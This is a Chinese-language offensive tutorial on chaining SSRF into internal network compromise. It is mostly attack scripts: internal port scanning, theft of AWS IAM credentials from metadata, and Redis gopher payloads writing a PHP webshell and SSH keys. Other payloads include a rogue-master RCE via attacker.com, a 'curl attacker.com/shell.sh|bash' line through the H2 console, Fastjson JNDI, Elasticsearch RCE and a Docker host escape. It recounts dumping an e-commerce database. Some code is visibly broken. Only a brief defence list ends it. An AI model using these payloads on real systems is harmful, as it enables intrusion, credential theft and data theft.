一、攻击链概览

典型的 SSRF 内网攻击分 四步

Step 1: 内网探测 -> 识别存活主机、开放端口、服务指纹 Step 2: 协议利用 -> 选择可用协议(gopher/dict/file)发起攻击 Step 3: 服务爆破 -> 根据指纹匹配已知未授权/弱口令漏洞 Step 4: 升级 RCE -> 通过写 webShell / 反序列化 / UDF 等方式拿 shell

二、Step 1:内网探测

2.1 IP 段扫描

# ip_scan.py - 通过 SSRF 扫描内网 IP
import requests, sys

SSRF = "http://target.com/proxy?url="
TARGET_RANGE = "192.168.1.{i}"
PORTS = [22, 80, 3306, 6379, 8080, 9000, 9200]

def check(ip):
    for port in PORTS:
        url = f"{SSRF}dict://{ip}:{port}/"
        try:
            r = requests.get(url, timeout=5)
            if len(r.text) > 2 and "refused" not in r.text.lower() and "timeout" not in r.text.lower():
                print(f"[+] {ip}:{port} OPEN")
                return True
        except Exception:
            pass
    return False

if __name__ == '__main__':
    for i in range(1, 255):
        ip = TARGET_RANGE.format(i=i)
        if check(ip):
            print(f"[*] {ip} is alive")

2.2 服务指纹识别

# fingerprint.py - 识别内网服务类型
SERVICE_FINGERPRINTS = {
    'Redis':    dict_commands=['PING', 'INFO'],  # 返回 +PONG / $-1

    'MySQL':    dict_commands=[''],               # 返回协议握手包
    'MongoDB':  dict_commands=['isMaster'],
    'Elasticsearch':  [  # http://ip:9200/
        ('GET', '/', '{cluster_name}'),
    ],
    'SpringBoot': [  # http://ip:port/actuator
        ('GET', '/actuator', '_links'),
        ('GET', '/actuator/env', 'propertySources'),
    ],
    'WebLogic': [   # http://ip:7001/console
        ('GET', '/console/', 'WebLogic Server'),
    ],
}

def identify(ip, port):
    results = []
    for svc, checks in SERVICE_FINGERPRINTS.items():
        # dict 协议探测
        for cmd in checks if isinstance(checks, list) else []:
            # ... 实现细节略
            pass
        results.append(svc)
    return results

2.3 通过 SSRF 探测云元数据

云环境(AWS/阿里云/GCP)下最肥的肉:

# cloud_metadata.py
CLOUD_META_URLS = {
    'AWS':       'http://169.254.169.254/latest/meta-data/',
    'Aliyun':    'http://100.100.100.200/latest/meta-data/',
    'Tencent':   'http://metadata.tencentyun.com/latest/',
    'Azure':     'http://169.254.169.254/metadata/instance?api-version=2021-02-01',
    'GCP':       'http://metadata.google.internal/computeMetadata/v1/',
}

for name, url in CLOUD_META_URLS.items():
    r = requests.get(f"{SSRF}{url}", timeout=5, headers={'Metadata-Flavor': 'Google'})
    if r.status_code == 200 and len(r.text) > 0:
        print(f"[+] {name}: {url}")
        print(r.text[:500])

AWS 场景可进一步拿到 IAM 凭据:

# 列出所有实例元数据
list_roles = f"{SSRF}http://169.254.169.254/latest/meta-data/iam/security-credentials/"
r = requests.get(list_roles, timeout=5)
role_name = r.text.strip()

# 获取 AK/SK
cred_url = f"{SSRF}http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
creds = requests.get(cred_url, timeout=5).json()
print(creds['AccessKeyId'], creds['SecretAccessKey'])

三、Step 2:Redis 未授权写 Shell

Redis 默认 6379 端口,无密码,配合 SSRF 直接打。

3.1 写入 WebShell(Web 目录已知)

# redis_webshell.py
import urllib.parse

def redis_cmd(cmd):
    return f"gopher://127.0.0.1:6379/_" + urllib.parse.quote(cmd + "
", safe='')

# PHP WebShell payload
SHELL = b"

<?php eval($_POST['cmd']); ?>

"

cmds = [
    f"SET pwn "{SHELL.decode()}"",
    "CONFIG SET dir /var/www/html",
    "CONFIG SET dbfilename shell.php",
    "SAVE",
]

# 构造 gopher URL(单条请求发送多条命令)
raw = "".join(c + "
" for c in cmds)
gopher_url = "gopher://127.0.0.1:6379/_" + urllib.parse.quote(raw, safe='')

print(f"[+] Gopher URL:
{gopher_url}")
print(f"[+] 注入成功后访问 http://target.com/shell.php")

3.2 写 SSH 公钥(经典打法)

# redis_ssh.py
# 前提:目标服务器运行 Redis 并且 /root/.ssh 存在
PUBKEY = open('/home/attacker/.ssh/id_rsa.pub').read().strip()

cmds = [
    'flushall',
    f"SET payload "\n\n{PUBKEY}\n\n"",
    'CONFIG SET dir /root/.ssh',
    'CONFIG SET dbfilename authorized_keys',
    'SAVE',
    'CONFIG SET dir /var/lib/redis',
    'CONFIG SET dbfilename dump.rdb',
]
# ... 拼接 gopher

print(f"[+] 写入 SSH 公钥成功,直接 ssh root@target")

3.3 利用主从复制加载恶意 SO(新版 Redis RCE)

适用于 Redis 4.x/5.x 的 RCE:

# 前提:攻击者控制一台 Redis 3.x master
# 1. 让目标 Redis 作为 slave 连过来
# 2. 同步恶意 .so
# 3. 执行 MODULE LOAD 加载 RCE 模块

# 启动恶意 Redis Master
python3 redis-rogue-server.py --listen-port 6379 --so-path exp.so

# SSRF 触发 SLAVEOF 命令
curl "http://target.com/ssrf?url=gopher://127.0.0.1:6379/_SLAVEOF%20attacker.com%206379%0d%0a"
curl "http://target.com/ssrf?url=gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20exp.so%0d%0a"
curl "http://target.com/ssrf?url=gopher://127.0.0.1:6379/_MODULE%20LOAD%20./exp.so%0d%0a"
curl "http://target.com/ssrf?url=gopher://127.0.0.1:6379/_system.exec%20id%0d%0a"

四、Step 3:SpringBoot Actuator 利用

Actuator 是 SpringBoot 的监控端点,很多生产环境忘记关闭。

4.1 快速探测 Actuator

# actuator_scan.py
ACTUATOR_PATHS = [
    '/actuator', '/actuator/env', '/actuator/heapdump',
    '/actuator/configprops', '/actuator/beans', '/actuator/loggers',
    '/actuator/refresh', '/env', '/heapdump', '/beans',
]

def check_actuator(ip, port):
    for path in ACTUATOR_PATHS:
        url = f"{SSRF}http://{ip}:{port}{path}"
        try:
            r = requests.get(url, timeout=3)
            if r.status_code == 200 and len(r.text) > 5:
                print(f"[+] http://{ip}:{port}{path} -> {len(r.text)} bytes")
                if 'password' in r.text.lower() or 'secret' in r.text.lower():
                    print("    [!] 疑似存在敏感信息泄露!")
        except Exception:
            pass

4.2 SpringBoot 1.x /Druid /H2 控制台 RCE

# 通过 SSRF 访问 SpringBoot Actuator + refresh = 任意写配置 + JNDI
# 步骤:
# 1. 访问 /actuator/env 看到数据库连接串
# 2. POST /actuator/env 写入恶意 logback 配置
# 3. POST /actuator/refresh 热加载
# 4. 恶意 logback 触发 JNDI 注入拿 RCE

# 通过 gopher:// 发送 POST
import urllib.parse

payload = """POST /actuator/env HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Content-Length: 180

{"name":"logging.config","value":"http://attacker.com/logback.xml"}"""

encoded = urllib.parse.quote(payload.replace("
", "
"), safe='')
gopher_url = f"gopher://127.0.0.1:8080/_{encoded}"
# 然后再 POST /actuator/refresh
print(f"[+] 第一步: {gopher_url}")

4.3 攻击 H2 控制台

SpringBoot 开发环境自带 H2 数据库控制台,默认路径 /h2-console,允许任意 SQL:

CREATE TABLE SHELL AS SELECT 'RUN /bin/sh -c "curl http://attacker.com/shell.sh|bash"' AS A;
INSERT INTO SHELL VALUES(1);
-- 触发执行(H2 的触发器/别名)
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd);return "ok";}';
CALL EXEC('id');

五、Step 4:Elasticsearch 任意文件写入

ES 老版本(< 6.0)有两个致命洞:任意文件读取Groovy 脚本 RCE

5.1 任意文件读取(ES 5.x)

# elasticsearch_read.py
# 使用 search function_score + 外部文件
import requests, urllib.parse

def read_file(path):
    payload = {
        "script_fields": {
            "file": {
                "script": {
                    "source": "new java.util.Scanner(new java.io.File('%s')).useDelimiter('\\\\A').next();" % path,
                    "lang": "painless"
                }
            }
        },
        "query": {"match_all": {}}
    }
    raw = f"POST /test/_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Content-Type: application/json
Content-Length: {len(str(payload))}

{payload}"
    gopher_url = "gopher://127.0.0.1:9200/_" + urllib.parse.quote(raw.replace("
","
"), safe='')
    return gopher_url

print(read_file('/etc/passwd'))

5.2 Groovy RCE(ES 1.x)

# elasticsearch_rce.py
groovy_poc = {
    "aggs": {
        "gen": {
            "terms": {
                "script":
                    "def cmd='id';Runtime.getRuntime().exec(cmd).text;",
                "lang": "groovy",
                "field": "1",
                "order": {"_key": "desc"},
                "size": 1
            }
        }
    },
    "size": 0
}
# ... 通过 gopher POST 到 /index/type/_search

六、Step 5:Fastjson 反序列化

Fastjson 漏洞经典组合:SSRF + Fastjson = 内网 RCE

6.1 探测

# fastjson_detect.py
# 判断目标是否有 Fastjson 反序列化漏洞
import requests

FASTJSON_POCS = [
    # 1.2.68 版本探测
    '{"@type":"java.net.Inet4Address","val":"dnslog.attacker.com"}',
    # 1.2.66 版本探测
    '{"@type":"java.net.Inet4Address"{"val":"dnslog.attacker.com"}}',
]

for poc in FASTJSON_POCS:
    try:
        r = requests.post(f"{SSRF}http://inner-host:8080/api/rpc",
                          data=poc,
                          headers={'Content-Type': 'application/json'},
                          timeout=5)
        print(f"  -> {r.status_code} {len(r.text)} bytes")
    except Exception as e:
        print(f"  ! error: {e}")

6.2 JNDI RCE 完整 payload

# fastjson_rce.py
# 前置:攻击者启动了恶意 LDAP 服务 (marshalsec / JNDI-Injection-Exploit)
def build_fastjson_gopher(target_host, target_port, attacker_ldap, cmd):
    poc = f'''
    {{
      "@type": "java.lang.AutoCloseable",
      "@type": "com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName": "ldap://{attacker_ldap}/Exploit",
      "autoCommit": true
    }}
    '''
    return build_gopher_http(target_host, target_port, '/api/rpc', 'POST',
                              {'Content-Type': 'application/json'}, poc.strip())

6.3 AutoType 绕过(CNVD 漏洞)

# fastjson_autotype_bypass.py
# 使用 @type 嵌套绕过 AutoType 检查
BYPASSES = [
    # 1.2.68-1.2.80
    '{"@type":"java.net.Inet4Address","val":"dnslog"}',
    # 1.2.66
    '{"@type":"java.net.Inet4Address"{"val":"dnslog"}}',
    # 1.2.83 close 双写绕过
    '{"@type":"java.lang.AutoCloseable", "@type":"java.net.Inet4Address","val":"dnslog"}',
]

七、Docker 环境:SSRF -> Containerd -> 宿主机

7.1 关键 API

# docker_api.py - SSRF 接管 Docker Daemon
DOCKER_HOST = "127.0.0.1:2375"  # 常见监听端口

def docker_api_get(path):
    raw = f"GET {path} HTTP/1.1
Host: {DOCKER_HOST}
Connection: close

"
    return "gopher://" + DOCKER_HOST + "/_" + urllib.parse.quote(raw, safe='')

# 查看容器
print(docker_api_get("/containers/json"))
# 查看镜像
print(docker_api_get("/images/json"))
# 创建特权容器挂宿主机根目录 → 逃逸

7.2 创建特权容器逃逸宿主机

def create_privileged_container(image, cmd):
    payload = {
        "Image": image,
        "Privileged": True,
        "HostConfig": {
            "Binds": ["/:/host"],
            "NetworkMode": "host",
            "CapAdd": ["ALL"]
        },
        "Cmd": cmd.split()
    }
    body = json.dumps(payload)
    http_req = (
        f"POST /containers/create?name=pwn HTTP/1.1
"
        f"Host: {DOCKER_HOST}
"
        f"Content-Type: application/json
"
        f"Content-Length: {len(body)}
"
        f"
{body}"
    )
    return "gopher://" + DOCKER_HOST + "/_" + urllib.parse.quote(http_req, safe='')

def start_container(container_id):
    raw = f"POST /containers/{container_id}/start HTTP/1.1
Host: {DOCKER_HOST}

"
    return "gopher://" + DOCKER_HOST + "/_" + urllib.parse.quote(raw, safe='')

拿到容器后执行:

# 在容器中执行,直接拿到宿主机 root
chroot /host /bin/bash
# 这样就完完全全进了宿主机根目录

八、实战案例:电商网站 SSRF 拿下内网

# 某电商网站图片功能未做协议限制
# 攻击过程:

[1] 探测 SSRF
    GET /upload?url=http://169.254.169.254/latest/meta-data/
    -> 返回 "i-xxx"(AWS metadata 成功访问)

[2] 拿 AK/SK
    GET /upload?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role/
    -> AccessKeyId / SecretAccessKey / Token

[3] 枚举内网主机
    # 用 dict:// 扫描 10.0.0.0/24

[4] 发现 Redis 6379 未授权
    # gopher:// 写 SSH 公钥到 10.0.0.12:6379

[5] SSH 进 Redis 机器(跳板机)

[6] 内网横向:发现 SpringBoot 未关 Actuator

[7] /actuator/heapdump 下载后 MAT 工具分析 -> 得到数据库密码

[8] 拿到数据库后导出用户数据 -> 完成拖库

九、防御清单

  • SSRF 统一走代理,代理层做协议白名单 + IP 黑名单
  • 云实例使用 IMDSv2(必须获取 Token 才能读 metadata)
  • Redis / MySQL / MongoDB 等内网数据库强制密码 + 绑定 127.0.0.1
  • Docker Daemon 不要监听 0.0.0.0:2375,用 TLS 加密 + 证书认证
  • SpringBoot Actuator 只暴露必要端点 + 安全认证(spring-boot-starter-security)
  • Elasticsearch / Kibana 开启 X-Pack / 基础认证
  • Fastjson 升级到 2.x,或开启 safeMode
  • H2 控制台 生产环境禁用(spring.h2.console.enabled=false)
  • 日志中审计所有外发请求,包括 SSRF 相关 URL